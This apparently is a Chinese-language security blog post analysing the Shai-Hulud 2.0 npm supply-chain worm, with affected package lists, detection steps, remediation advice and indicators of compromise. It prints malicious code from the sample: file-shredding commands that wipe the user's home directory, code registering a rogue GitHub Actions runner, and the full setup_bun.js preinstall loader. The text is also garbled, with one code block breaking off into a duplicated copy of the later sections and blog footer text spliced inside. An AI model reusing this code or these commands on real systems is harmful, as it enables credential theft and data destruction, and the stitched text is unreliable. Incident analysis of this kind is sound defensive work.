Shai-Hulud 2.0 npm 供应链攻击技术分析

概要

Shai-Hulud 威胁行为者发动了一场复杂的 npm 供应链攻击,被称为 SHA1-Hulud: The Second Coming,感染了包括 zapier-sdk@asyncapiposthog-node@postman/postman-mcp-cli 在内的流行软件包。该恶意软件通过 preinstall 脚本部署自复制代码,窃取云凭证(AWS、GCP、Azure),并利用 GitHub Actions 运行器。本文提供了全面的技术分析,包括检测方法、妥协指标(IOC)以及修复指导。

受感染的软件包:

软件包名称受影响版本
@zapier/zapier-sdk0.15.50.15.60.15.7
@asyncapi/specs6.8.26.9.1
@quick-start-soft/quick-markdown-print1.4.2511142126
@quick-start-soft/quick-markdown1.4.2511142126
@quick-start-soft/quick-remove-image-background1.4.2511142126
@quick-start-soft/quick-git-clean-markdown1.4.2511142126
@quick-start-soft/quick-document-translator1.4.2511142126
@quick-start-soft/quick-markdown-image1.4.2511142126
@quick-start-soft/quick-task-refine1.4.2511142126
@asyncapi/modelina5.10.25.10.3
posthog-react-native4.12.54.11.1
posthog-node5.13.34.18.1
@postman/secret-scanner-wasm2.1.22.1.3
@postman/csv-parse4.0.34.0.44.0.5
@postman/node-keytar7.9.17.9.27.9.47.9.5
@postman/tunnel-agent0.6.50.6.6
@postman/wdio-allure-reporter0.0.70.0.8
@postman/postman-mcp-cli1.0.31.0.4
@postman/mcp-ui-client5.5.15.5.2
@postman/wdio-junit-reporter0.0.40.0.5
@postman/pm-bin-macos-arm641.24.41.24.5
@postman/pm-bin-linux-x641.24.41.24.5
@postman/aether-icons2.23.32.23.4

注意:​ 这是受感染软件包的初步列表。有关所有已发现受感染软件包的最新信息,请参阅 Google Sheets 上的实时列表。

与先前攻击的关联

该有效载荷与之前的 Shai-Hulud npm 供应链攻击存在显著的代码相似性。此次迭代的关键演进是使用 bun 运行时而非 node 来执行有效载荷,这可能会规避基于 Node.js 的安全工具。

攻击向量概述

Shai-Hulud 2.0 npm 恶意软件有效载荷攻击流程图

支持的平台:​ 对混淆有效载荷的分析确认了跨平台支持:

  • Linux (x64)
  • macOS(Intel 和 ARM64)
  • Windows

npm 恶意软件技术分析

以下是对受感染版本 zapier-sdk 软件包的技术分析,以识别有效载荷。我们假设所有受本次事件影响的软件包都使用类似的有效载荷,仅有微小变化和错误修复。

我们首先对 zapier-sdk 软件包的 0.15.40.15.5 版本进行差异比较,以识别在 0.15.5(这是一个已知恶意软件包)中引入的恶意更改。

bash
diff -Naur zapier/0.15.4/package/package.json zapier/0.15.5/package/package.json
diff
--- zapier/0.15.4/package/package.json 1985-10-26 13:45:00 +++ zapier/0.15.5/package/package.json 2025-11-24 11:20:51 @@ -1,6 +1,6 @@ { "name": "@zapier/zapier-sdk", - "version": "0.15.4", + "version": "0.15.5", "description": "Complete Zapier SDK - combines all Zapier SDK packages", "main": "dist/index.cjs", "module": "dist/index.mjs", @@ -59,6 +59,7 @@ "rebuild": "pnpm clean && pnpm build", "dev": "tsc --watch", "typecheck": "tsc --project tsconfig.build.json --noEmit", - "test": "vitest" + "test": "vitest", + "preinstall": "node setup_bun.js" } }

理解 npm Preinstall Hook 利用

差异分析揭示了一个执行 setup_bun.js 的恶意 preinstall 脚本,它利用了 npm preinstall 生命周期钩子。该脚本协调攻击:

执行流程:​

  1. 检查系统 PATH 中是否存在 bun 运行时
  2. 如果不存在,则下载并安装 bun
  3. 使用 bun 运行时执行 bun_environment.js

关键洞察:​ 实际恶意有效载荷位于 bun_environment.js 中,需要 bun 运行时才能执行,这使得传统 Node.js 安全扫描器更难检测到它。

恶意软件有效载荷分析:bun_environment.js

文件特征:​

  • 大小:9.7MB 混淆 JavaScript
  • SHA256:62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

该有效载荷经过高度混淆。我们的分析涉及代码美化以提高可读性,尽管代码仍然处于混淆状态。鉴于时间限制和事件的高影响,我们优先识别有效载荷行为和影响,而非反混淆。

安全说明:​ 所有命令执行、分析和代码美化均在隔离的沙箱环境中进行,以防止恶意代码执行。

bash
docker run -it --rm -v $(pwd):/app node:lts bash cd /app npm install -g js-beautify js-beautify bun_environment.js > bun_environment_beautified.js
bash
more bun_environment_beautified.js
javascript
var a0_0x58e7a2 = a0_0x5155; (function(_0x488e1f, _0x239640) { var _0x1c90e8 = a0_0x5155, _0x2d2cb3 = _0x488e1f(); while (! ![]) { try { var _0x156b43 = parseInt(_0x1c90e8(0x52cd)) / 0x1 * (-parseInt(_0x1c90e8(0x2dae)) / 0x2) + parseInt(_0x1c90e8(0x49ef)) / 0x3 * (parseInt(_0x1c90e8(0x373)) / 0x 1) + parseInt(_0x1c90e8(0x2c8a)) / 0x5 * (-parseInt(_0x1c90e8(0x3b09)) / 0x6) + parseInt(_0x1c90e8(0x2336)) / 0x7 * (-parseInt(_0x1c90e8(0x34cf)) / 0x8) + parseInt(_0x1c90 e8(0x18ad)) / 0x9 * (parseInt(_0x1c90e8(0x13ba)) / 0xa) + parseInt(_0x1c90e8(0xeef)) / 0xb + parseInt(_0x1c90e8(0x17a8)) / 0xc; if (_0x156b43 === _0x239640) break; else _0x2d2cb3['push'](_0x2d2cb3['shift']()); } catch (_0x1d8237) { _0x2d2cb3['push'](_0x2d2cb3['shift']()); } } }(a0_0x29d6, 0xc51e0));

识别的代码混淆技术

手动分析揭示该有效载荷使用 obfuscator.io 风格混淆,并包含多层反分析机制:

技术描述
字符串数组20,000+ 字符串存储在 a0_0x29d6() 函数中
字符串解码器a0_0x5155(index) 从索引中减去 0x1bb(443)
数组洗牌IIFE 轮换数组直到校验和 = 0xc51e0(807392)
布尔混淆! ![] → true,![] → false,!0x0 → true,!0x1 → false
十六进制数字所有数字采用十六进制格式(0x52cd
变量名混淆类似 _0x488e1f_0x1c90e8 的名称
控制流通过字符串比较的死代码('ABC' !== 'XYZ'

该有效载荷与所有依赖项捆绑在一起,类似于之前的 Shai-Hulud 攻击,大大增加了逆向工程的难度。然而,捆绑 bun_environment.js 文件中代码的局部性有助于识别有效载荷。这意味着,攻击者开发的大部分代码位于捆绑依赖项之外的同一区域。

恶意软件功能和攻击行为

该恶意软件展示了具有以下功能的先进持续性威胁(APT)特征:

凭证窃取:​

  • 云凭证:​ 通过 TruffleHog 提取 AWS、GCP 和 Azure 凭证
  • AWS Secrets Manager:​ 使用本地缓存凭证直接进行 API 查询
  • Google Cloud Secrets:​ 使用本地缓存凭证直接进行 API 查询

传播机制:​

  • 蠕虫行为:​ 通过可访问被入侵账户的 npm 软件包进行自我复制
  • 供应链投毒:​ 自动感染可被入侵账户写入的 npm 软件包,发布新版本

数据泄露:​

  • GitHub 仓库滥用:​ 创建公开仓库以暴露窃取的凭证
  • 隐身:​cloud.jsoncontents.jsonenvironment.jsontruffleSecrets.json 文件中使用双 base64 编码数据

持久性:​

  • GitHub Actions 运行器:​ 在受害者的基础设施上部署恶意自托管运行器

文件销毁:​

  • 粉碎:​ 粉碎被入侵机器上的文件

文件销毁机制

该恶意软件具有粉碎被入侵机器上文件的代码。

javascript
if (_0x3ca7e1.permissions && _0x3ca7e1.permissions.length) { if ("HQWgp" === "HQWgp") { _0x123399.permissions = []; for (var _0x3112ee = 0; _0x3112ee < _0x3ca7e1.permissions.length; ++_0x3112ee) _0x123399.permissions[_0x3112ee] = _0x3ca7e1.permissions[_0x3112ee] } else { if (_0x29175f.log('Error\x2012'), _0x43d68e.platform === "windows") _0x43f28f.spawnSync(["cmd.exe", '/c', 'del\x20/F\x20/Q\x20/S\x20\x22%USERPROFI else _0x3fe5f5.spawnSync(["bash", '-c', "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && find \"$HOM _0x1bf37d.exit(0); } }
  • 在 Windows 上,它执行 cmd.exe /c del /f /q /s "%USERPROFILE%" 删除文件。
  • 在 Linux 和 macOS 上,它执行 find "$HOME" -type f -writable -user "$(id -un)" -print0 | xargs -0 -r shred -uvz -n 1 && find "$HOME" -type d -writable -user "$(id -un)" -print0 | xargs -0 -r shred -uvz -n 1 删除文件。

CI/CD 环境检测和定位

该恶意软件包含 CI/CD 环境检测,以适应其行为并最大化对自动化构建管道的影响。它通过检查以下环境变量来识别 CI/CD 上下文:

  • BUILDKITE
  • PROJECT_ID
  • GITHUB_ACTIONS
  • CODEBUILD_BUILD_NUMBER
  • CIRCLE_SHA1
  • GITLAB_CI
  • JENKINS_HOME
javascript
if ('CI' in _0x26282e) { if ( [_0x17a1ce(0x5955), _0x17a1ce(0x3eda), _0x17a1ce(0x54b5), 'GITLAB_CI', 'GITHUB_ACTIONS', _0x17a1ce(0x4bd6)]['some']( (_0x1fc8b3) => _0x1fc8b3 in _0x26282e ) || _0x26282e[_0x17a1ce(0x5dde)] === 'codeship' ) return 0x1; return _0x3a4b4b; } if ('TEAMCITY_VERSION' in _0x26282e) return /^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/[_0x17a1ce(0x57e)](_0x26282e[_0x17a1ce(0x5537)]) ? 0x1 : 0x0;

该恶意软件根据检测到的 CI/CD 环境执行不同的有效载荷。例如,在 GitHub Actions 运行器上,它尝试使用 sudo 或通过运行 docker run --rm --privileged -v /:/host ... 来挂载主机文件系统以获取 root 权限。

GitHub Actions 运行器部署

攻击机制:​ 该恶意软件尝试通过在被入侵的基础设施上部署恶意自托管 GitHub Actions 运行器来建立持久性。

部署流程:​

  1. 下载官方 GitHub Actions 运行器(v2.330.0)
  2. 使用窃取的凭证在 GitHub 上注册运行器
  3. 将运行器命名为 SHA1HULUD 以便识别
  4. 在受害者机器上执行以运行攻击者控制的工作流

部署支持跨平台安装(Linux、macOS、Windows)。

javascript
if (a0_0x5a88b3.platform() === 'linux') (await Bun.$\`mkdir -p $HOME/.dev-env/\`, await Bun.$\`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz\` .cwd(a0_0x5a88b3.homedir + '/.dev-env') .quiet(), await Bun.$\`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz\`.cwd(a0_0x5a88b3.homedir + '/.dev-env'), await Bun.$\`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"\` .cwd(a0_0x5a88b3.homedir + '/.dev-env') .quiet(), await Bun.$\`rm actions-runner-linux-x64-2.330.0.tar.gz\`.cwd(a0_0x5a88b3.homedir + '/.dev-env'), Bun.spawn(['bash', '-c', 'cd $HOME/.dev-env && nohup ./run.sh &']).unref());

然后它使用以下代码片段在新创建的 GitHub 仓库中创建恶意工作流:

javascript
await this.octokit.request('PUT /repos/{owner}/{repo}/contents/{path}', { owner: _0x349291, repo: _0x2b1a39, path: '.github/workflows/discussion.yaml', message: 'Add Discusion', content: Buffer.from(rZ1).toString('base64'), branch: 'main', });

恶意工作流是一个 discussion.yaml 文件,包含以下代码片段:

yaml
name: Discussion Create on: discussion: jobs: process: env: RUNNER_TRACKING_ID: 0 runs-on: self-hosted steps: - uses: actions/checkout@v5 - name: Handle Discussion run: echo ${{ github.event.discussion.body }}

echo 命令将讨论内容打印到控制台。这似乎是一个不完整的远程代码执行(RCE)原语,可能允许攻击者通过 GitHub 讨论评论在受害者基础设施上执行任意命令。

蠕虫式自我复制机制

概述:​ 该恶意软件展示了复杂的蠕虫传播行为,通过被入侵维护者账户自动在 npm 生态系统中传播。

感染策略:​

  1. 令牌提取:​.npmrc 配置文件中定位 npm 认证令牌
  2. 账户验证:​ 通过 https://registry.npmjs.org/-/whoami API 验证令牌有效性
  3. 目标发现:​ 使用 /-/v1/search?text=maintainer:<username> 枚举维护者控制的软件包
  4. 自动化感染:​ 下载并使用恶意有效载荷感染每个可发现的软件包

软件包感染流程

1. 下载目标软件包

  • 使用经过身份验证的用户 npm 令牌从注册表获取软件包 tarball
  • 使用 Bun.write() 将 tarball 下载到临时目录

2. 提取并修改软件包

  • 使用 gzip 解压缩提取 tarball
  • 读取目标软件包的 package.json
  • 注入恶意 preinstall 脚本:node setup_bun.js
  • 自动递增补丁版本(例如从 1.0.01.0.1)以创建新版本

3. 捆绑恶意资源

  • 调用 bundleAssets() 注入完整的恶意有效载荷(setup_bun.jsbun_environment.js
  • 将所有内容重新打包为新的 tarball(updated.tgz

4. 发布受感染软件包

  • 使用被入侵用户的 NPM_CONFIG_TOKEN 通过 npm publish 命令
  • 将受感染软件包作为新版本发布到 npm 注册表
  • 成功发布后清理临时文件
javascript
(await Bun[' **影响分析:​** 这种自动化感染流程使 npm 生态系统中的指数级传播成为可能。每个被入侵的软件包都成为新的感染向量,创建级联供应链攻击。 ## 通过 TruffleHog 集成进行凭证窃取 **工具武器化:​** 该恶意软件利用 TruffleHog(一个合法的开源秘密扫描工具)自动从被入侵机器的文件系统中收集凭证。 **部署流程:​** GitHub releases 使用 URL `https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest` 检测或下载 TruffleHog 二进制文件。 ```javascript let _0x8d5d38 = await this.fetchLatestRelease(), _0xadd65e = this.pickAsset(_0x8d5d38.assets); if (!_0xadd65e) throw Error('No suitable trufflehog binary found for this platform'); let _0x23fc54 = a0_0x2cdffb(this.config.cacheDir, _0xadd65e.name); (await this.downloadFile(_0xadd65e.browser_download_url, _0x23fc54), (this.binaryPath = await this.extractAndInstall(_0x23fc54)));

扫描文件系统:

javascript
async .scanFilesystem(_0x318465, _0x2ad348 = []) { await this.initialize(); let _0x423574 = ["filesystem", _0x318465, "--json", ..._0x2ad348]; return this.executeWithTimeout(_0x423574); }

扫描能力

该恶意软件采用 TruffleHog 扫描策略以最大化凭证收集:

扫描技术:​

  • Git 仓库分析:​ 深度扫描 git 历史记录中已提交的机密信息
  • 已验证结果过滤:​ 使用 TruffleHog 的验证功能确认凭证有效性
  • 基于检测器的过滤:​ 针对特定凭证类型(AWS、GCP、Azure、GitHub 令牌)
  • 基于路径的过滤:​ 聚焦于高价值配置文件和目录

这些精确过滤使恶意软件能够提取经过验证的高价值凭证,同时最大限度地减少噪音和检测风险。

通过 GitHub 仓库滥用进行数据泄露

泄露方法:​ 该恶意软件使用窃取的凭证创建公开 GitHub 仓库以暴露收集的数据。

仓库特征:​

  • 命名模式:​ 18 个字符的随机仓库名称
  • 签名:​ 描述设置为 Sha1-Hulud: The Second Coming.
  • 规模:​ 分析时已创建超过 25,000 个仓库
  • 发现:​ 使用 GitHub 仓库搜索查找暴露的仓库

注意:​ GitHub 的安全团队积极删除被入侵的仓库,但随着恶意软件的传播,新的仓库不断出现。

泄露数据结构

该恶意软件将四类被盗数据上传到每个仓库:

文件名内容描述
cloud.jsonAWS、GCP 和 Azure 云服务提供商凭证
contents.json主机系统详情、GitHub 令牌、npm 认证令牌
environment.json被入侵进程的完整环境变量
truffleSecrets.jsonTruffleHog 秘密扫描的完整 JSON 输出

编码策略:​ 所有文件使用双 base64 编码以规避自动化秘密扫描工具和内容过滤器。

解码示例:​

bash
cat cloud.json| base64 -d | base64 -d

凭证已编辑的示例输出:

json
{ "aws": { "secrets": [] }, "gcp": { "secrets": [] }, "azure": { "secrets": [] } }
bash
cat contents.json| base64 -d | base64 -d
json
{ "system": { "platform": "linux", "architecture": "x64", "platformDetailed": "linux", "architectureDetailed": "x64", "hostname": "<REDACTED>", "os_user": { "homedir": "/home/runner", "username": "runner", "shell": "/bin/bash", "uid": 1001, "gid": 1001 } }, "modules": { "github": { "authenticated": true, "token": "<REDACTED>", "username": { "login": "<REDACTED>", "name": "<REDACTED>", "email": null, "publicRepos": <REDACTED>, "followers": <REDACTED>, "following": <REDACTED>, "createdAt": "<REDACTED>" } } } }

CI/CD 入侵证据:​ homedir: /home/runnerusername: runner 值确认该恶意软件成功在 GitHub Actions 运行器环境中执行,表明被感染的软件包已渗透到自动化 CI/CD 管道中。

检测和修复

如何检测被入侵的系统

检查指标:​

  1. 搜索描述为 Sha1-Hulud: The Second Coming 的 GitHub 仓库
  2. 查找名为 SHA1HULUD 的自托管 GitHub Actions 运行器
  3. 审查 npm package.json 文件中是否有意外的 preinstall 脚本
  4. 检查 node_modules 中是否存在 setup_bun.jsbun_environment.js 文件
  5. 监控意外的 bun 运行时安装

如果被入侵的立即行动:​

  1. 轮换所有凭证:​ AWS、GCP、Azure、GitHub 令牌、npm 令牌
  2. 撤销 GitHub 令牌:​ 使所有个人访问令牌和 OAuth 应用失效
  3. 删除恶意运行器:​ 删除名为"SHA1HULUD"的任何自托管运行器
  4. 审查软件包版本:​ 根据被感染软件包列表检查所有依赖项
  5. 审计 Git 历史:​ 搜索 npm 软件包中的可疑提交
  6. 启用 2FA:​ 在 npm 和 GitHub 账户上激活双因素身份验证

保护您的供应链

预防策略:​

  • 使用 SafeDep GitHub App 扫描每个拉取请求中的恶意软件包,使用 pmg 防范通过 npm、yarn、pip 等软件包管理器安装恶意软件包。
  • 优先使用 pnpm 而非 npm 进行软件包管理,后者默认禁用 npm 生命周期脚本。
  • 实施严格的 CI/CD 安全控制和秘密管理
  • 监控依赖项中的 preinstall/postinstall 脚本
  • 使用软件物料清单(SBOM)进行依赖项跟踪
  • 将 npm 令牌权限限制为所需的最低范围

结论

Shai-Hulud 2.0 供应链攻击代表了 npm 生态系统威胁的复杂演进。通过利用 bun 运行时、武器化 TruffleHog 等合法安全工具,并实施自复制蠕虫行为,攻击者创建了一个高效的凭证收集和持久性机制。

关键要点:​

  • 直接影响:​ 25,000+ 仓库被入侵,凭证暴露
  • 供应链风险:​ 受影响流行软件包下载量达数百万
  • 高级技术:​ 利用 GitHub Actions 运行器实现持久性
  • 持续威胁:​ 蠕虫式传播继续扩大感染范围

组织必须优先考虑供应链安全,实施全面的依赖扫描、凭证轮换策略和 CI/CD 管道加固。SafeDep 等工具提供了对这些新兴威胁的关键可见性。


附录

妥协指标(IOC)

文件哈希:​

  • SHA256 (setup_bun.js) = a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
  • SHA256 (bun_environment.js) = 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

网络指标:​

  • GitHub 运行器下载:https://github.com/actions/runner/releases/download/v2.330.0/
  • TruffleHog 下载:https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest
  • Bun 安装:https://bun.sh/install

行为指标:​

  • 描述为 Sha1-Hulud: The Second Coming. 的 GitHub 仓库
  • 名为 SHA1HULUD 的自托管 GitHub Actions 运行器
  • 执行 setup_bun.js 的 npm preinstall 脚本
  • 文件:软件包根目录中的 setup_bun.jsbun_environment.js

恶意代码示例:setup_bun.js

javascript
#!/usr/bin/env node const { spawn, execSync } = require('child_process'); const path = require('path'); const fs = require('fs'); const os = require('os'); function isBunOnPath() { try { const command = process.platform === 'win32' ? 'where bun' : 'which bun'; execSync(command, { stdio: 'ignore' }); return true; } catch { return false; } } function reloadPath() { // Reload PATH environment variable if (process.platform === 'win32') { try { // On Windows, get updated PATH from registry const result = execSync( "powershell -c \"[Environment]::GetEnvironmentVariable('PATH', 'User') + ';' + [Environment]::GetEnvironmentVariable('PATH', 'Machine')\"", { encoding: 'utf8', } ); process.env.PATH = result.trim(); } catch {} } else { try { // On Unix systems, source common shell profile files const homeDir = os.homedir(); const profileFiles = [ path.join(homeDir, '.bashrc'), path.join(homeDir, '.bash_profile'), path.join(homeDir, '.profile'), path.join(homeDir, '.zshrc'), ]; // Try to source profile files to get updated PATH for (const profileFile of profileFiles) { if (fs.existsSync(profileFile)) { try { const result = execSync(\`bash -c "source ${profileFile} && echo $PATH"\`, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'ignore'], }); if (result && result.trim()) { process.env.PATH = result.trim(); break; } } catch { // Continue to next profile file } } } // Also check if ~/.bun/bin exists and add it to PATH if not already there const bunBinDir = path.join(homeDir, '.bun', 'bin'); if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) { process.env.PATH = \`${bunBinDir}:${process.env.PATH}\`; } } catch {} } } async function downloadAndSetupBun() { try { let command; if (process.platform === 'win32') { // Windows: Use PowerShell script command = 'powershell -c "irm bun.sh/install.ps1|iex"'; } else { // Linux/macOS: Use curl + bash script command = 'curl -fsSL https://bun.sh/install | bash'; } execSync(command, { stdio: 'ignore', env: { ...process.env }, }); // Reload PATH to pick up newly installed bun reloadPath(); // Find bun executable after installation const bunPath = findBunExecutable(); if (!bunPath) { throw new Error('Bun installation completed but executable not found'); } return bunPath; } catch { process.exit(0); } } function findBunExecutable() { // Common locations where bun might be installed const possiblePaths = []; if (process.platform === 'win32') { // Windows locations const userProfile = process.env.USERPROFILE || ''; possiblePaths.push( path.join(userProfile, '.bun', 'bin', 'bun.exe'), path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe') ); } else { // Unix locations const homeDir = os.homedir(); possiblePaths.push(path.join(homeDir, '.bun', 'bin', 'bun'), '/usr/local/bin/bun', '/opt/bun/bin/bun'); } // Check if bun is now available on PATH if (isBunOnPath()) { return 'bun'; } // Check common installation paths for (const bunPath of possiblePaths) { if (fs.existsSync(bunPath)) { return bunPath; } } return null; } function runExecutable(execPath, args = [], opts = {}) { const child = spawn(execPath, args, { stdio: 'ignore', cwd: opts.cwd || process.cwd(), env: Object.assign({}, process.env, opts.env || {}), }); child.on('error', (err) => { process.exit(0); }); child.on('exit', (code, signal) => { if (signal) { process.exit(0); } else { process.exit(code === null ? 1 : code); } }); } // Main execution async function main() { let bunExecutable; if (isBunOnPath()) { // Use bun from PATH bunExecutable = 'bun'; } else { // Check if we have a locally downloaded bun const localBunDir = path.join(__dirname, 'bun-dist'); const possiblePaths = [ path.join(localBunDir, 'bun', 'bun'), path.join(localBunDir, 'bun', 'bun.exe'), path.join(localBunDir, 'bun.exe'), path.join(localBunDir, 'bun'), ]; const existingBun = possiblePaths.find((p) => fs.existsSync(p)); if (existingBun) { bunExecutable = existingBun; } else { // Download and setup bun bunExecutable = await downloadAndSetupBun(); } } const environmentScript = path.join(__dirname, 'bun_environment.js'); if (fs.existsSync(environmentScript)) { runExecutable(bunExecutable, [environmentScript]); } else { process.exit(0); } } main().catch((error) => { process.exit(0); });
  • npm
  • oss
  • malware
  • supply-chain
  • security
  • incident-response

SafeDep 博客最新更新

关注以获取开源安全与工程的最新更新和洞察]`npm publish ${_0x4fc35c}`[_0x545fd9(0x3f2d)]({ ...process[_0x545fd9(0x3f2d)], NPM_CONFIG_TOKEN: this[_0x545fd9(0x194f)], }), await Uy1(_0x14f0bf));

text
**影响分析:​** 这种自动化感染流程使 npm 生态系统中的指数级传播成为可能。每个被入侵的软件包都成为新的感染向量,创建级联供应链攻击。 ## 通过 TruffleHog 集成进行凭证窃取 **工具武器化:​** 该恶意软件利用 TruffleHog(一个合法的开源秘密扫描工具)自动从被入侵机器的文件系统中收集凭证。 **部署流程:​** 从 GitHub releases 使用 URL `https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest` 检测或下载 TruffleHog 二进制文件。 ```javascript let _0x8d5d38 = await this.fetchLatestRelease(), _0xadd65e = this.pickAsset(_0x8d5d38.assets); if (!_0xadd65e) throw Error('No suitable trufflehog binary found for this platform'); let _0x23fc54 = a0_0x2cdffb(this.config.cacheDir, _0xadd65e.name); (await this.downloadFile(_0xadd65e.browser_download_url, _0x23fc54), (this.binaryPath = await this.extractAndInstall(_0x23fc54)));

扫描文件系统:

javascript
async .scanFilesystem(_0x318465, _0x2ad348 = []) { await this.initialize(); let _0x423574 = ["filesystem", _0x318465, "--json", ..._0x2ad348]; return this.executeWithTimeout(_0x423574); }

扫描能力

该恶意软件采用 TruffleHog 扫描策略以最大化凭证收集:

扫描技术:​

  • Git 仓库分析:​ 深度扫描 git 历史记录中已提交的机密信息
  • 已验证结果过滤:​ 使用 TruffleHog 的验证功能确认凭证有效性
  • 基于检测器的过滤:​ 针对特定凭证类型(AWS、GCP、Azure、GitHub 令牌)
  • 基于路径的过滤:​ 聚焦于高价值配置文件和目录

这些精确过滤使恶意软件能够提取经过验证的高价值凭证,同时最大限度地减少噪音和检测风险。

通过 GitHub 仓库滥用进行数据泄露

泄露方法:​ 该恶意软件使用窃取的凭证创建公开 GitHub 仓库以暴露收集的数据。

仓库特征:​

  • 命名模式:​ 18 个字符的随机仓库名称
  • 签名:​ 描述设置为 Sha1-Hulud: The Second Coming.
  • 规模:​ 分析时已创建超过 25,000 个仓库
  • 发现:​ 使用 GitHub 仓库搜索查找暴露的仓库

注意:​ GitHub 的安全团队积极删除被入侵的仓库,但随着恶意软件的传播,新的仓库不断出现。

泄露数据结构

该恶意软件将四类被盗数据上传到每个仓库:

文件名内容描述
cloud.jsonAWS、GCP 和 Azure 云服务提供商凭证
contents.json主机系统详情、GitHub 令牌、npm 认证令牌
environment.json被入侵进程的完整环境变量
truffleSecrets.jsonTruffleHog 秘密扫描的完整 JSON 输出

编码策略:​ 所有文件使用双 base64 编码以规避自动化秘密扫描工具和内容过滤器。

解码示例:​

bash
cat cloud.json| base64 -d | base64 -d

凭证已编辑的示例输出:

json
{ "aws": { "secrets": [] }, "gcp": { "secrets": [] }, "azure": { "secrets": [] } }
bash
cat contents.json| base64 -d | base64 -d
json
{ "system": { "platform": "linux", "architecture": "x64", "platformDetailed": "linux", "architectureDetailed": "x64", "hostname": "<REDACTED>", "os_user": { "homedir": "/home/runner", "username": "runner", "shell": "/bin/bash", "uid": 1001, "gid": 1001 } }, "modules": { "github": { "authenticated": true, "token": "<REDACTED>", "username": { "login": "<REDACTED>", "name": "<REDACTED>", "email": null, "publicRepos": <REDACTED>, "followers": <REDACTED>, "following": <REDACTED>, "createdAt": "<REDACTED>" } } } }

CI/CD 入侵证据:​ homedir: /home/runnerusername: runner 值确认该恶意软件成功在 GitHub Actions 运行器环境中执行,表明被感染的软件包已渗透到自动化 CI/CD 管道中。

检测和修复

如何检测被入侵的系统

检查指标:​

  1. 搜索描述为 Sha1-Hulud: The Second Coming 的 GitHub 仓库
  2. 查找名为 SHA1HULUD 的自托管 GitHub Actions 运行器
  3. 审查 npm package.json 文件中是否有意外的 preinstall 脚本
  4. 检查 node_modules 中是否存在 setup_bun.jsbun_environment.js 文件
  5. 监控意外的 bun 运行时安装

如果被入侵的立即行动:​

  1. 轮换所有凭证:​ AWS、GCP、Azure、GitHub 令牌、npm 令牌
  2. 撤销 GitHub 令牌:​ 使所有个人访问令牌和 OAuth 应用失效
  3. 删除恶意运行器:​ 删除名为"SHA1HULUD"的任何自托管运行器
  4. 审查软件包版本:​ 根据被感染软件包列表检查所有依赖项
  5. 审计 Git 历史:​ 搜索 npm 软件包中的可疑提交
  6. 启用 2FA:​ 在 npm 和 GitHub 账户上激活双因素身份验证

保护您的供应链

预防策略:​

  • 使用 SafeDep GitHub App 扫描每个拉取请求中的恶意软件包,使用 pmg 防范通过 npm、yarn、pip 等软件包管理器安装恶意软件包。
  • 优先使用 pnpm 而非 npm 进行软件包管理,后者默认禁用 npm 生命周期脚本。
  • 实施严格的 CI/CD 安全控制和秘密管理
  • 监控依赖项中的 preinstall/postinstall 脚本
  • 使用软件物料清单(SBOM)进行依赖项跟踪
  • 将 npm 令牌权限限制为所需的最低范围

结论

Shai-Hulud 2.0 供应链攻击代表了 npm 生态系统威胁的复杂演进。通过利用 bun 运行时、武器化 TruffleHog 等合法安全工具,并实施自复制蠕虫行为,攻击者创建了一个高效的凭证收集和持久性机制。

关键要点:​

  • 直接影响:​ 25,000+ 仓库被入侵,凭证暴露
  • 供应链风险:​ 受影响流行软件包下载量达数百万
  • 高级技术:​ 利用 GitHub Actions 运行器实现持久性
  • 持续威胁:​ 蠕虫式传播继续扩大感染范围

组织必须优先考虑供应链安全,实施全面的依赖扫描、凭证轮换策略和 CI/CD 管道加固。SafeDep 等工具提供了对这些新兴威胁的关键可见性。


附录

妥协指标(IOC)

文件哈希:​

  • SHA256 (setup_bun.js) = a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
  • SHA256 (bun_environment.js) = 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

网络指标:​

  • GitHub 运行器下载:https://github.com/actions/runner/releases/download/v2.330.0/
  • TruffleHog 下载:https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest
  • Bun 安装:https://bun.sh/install

行为指标:​

  • 描述为 Sha1-Hulud: The Second Coming. 的 GitHub 仓库
  • 名为 SHA1HULUD 的自托管 GitHub Actions 运行器
  • 执行 setup_bun.js 的 npm preinstall 脚本
  • 文件:软件包根目录中的 setup_bun.jsbun_environment.js

恶意代码示例:setup_bun.js

javascript
#!/usr/bin/env node const { spawn, execSync } = require('child_process'); const path = require('path'); const fs = require('fs'); const os = require('os'); function isBunOnPath() { try { const command = process.platform === 'win32' ? 'where bun' : 'which bun'; execSync(command, { stdio: 'ignore' }); return true; } catch { return false; } } function reloadPath() { // Reload PATH environment variable if (process.platform === 'win32') { try { // On Windows, get updated PATH from registry const result = execSync( "powershell -c \"[Environment]::GetEnvironmentVariable('PATH', 'User') + ';' + [Environment]::GetEnvironmentVariable('PATH', 'Machine')\"", { encoding: 'utf8', } ); process.env.PATH = result.trim(); } catch {} } else { try { // On Unix systems, source common shell profile files const homeDir = os.homedir(); const profileFiles = [ path.join(homeDir, '.bashrc'), path.join(homeDir, '.bash_profile'), path.join(homeDir, '.profile'), path.join(homeDir, '.zshrc'), ]; // Try to source profile files to get updated PATH for (const profileFile of profileFiles) { if (fs.existsSync(profileFile)) { try { const result = execSync(\`bash -c "source ${profileFile} && echo $PATH"\`, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'ignore'], }); if (result && result.trim()) { process.env.PATH = result.trim(); break; } } catch { // Continue to next profile file } } } // Also check if ~/.bun/bin exists and add it to PATH if not already there const bunBinDir = path.join(homeDir, '.bun', 'bin'); if (fs.existsSync(bunBinDir) 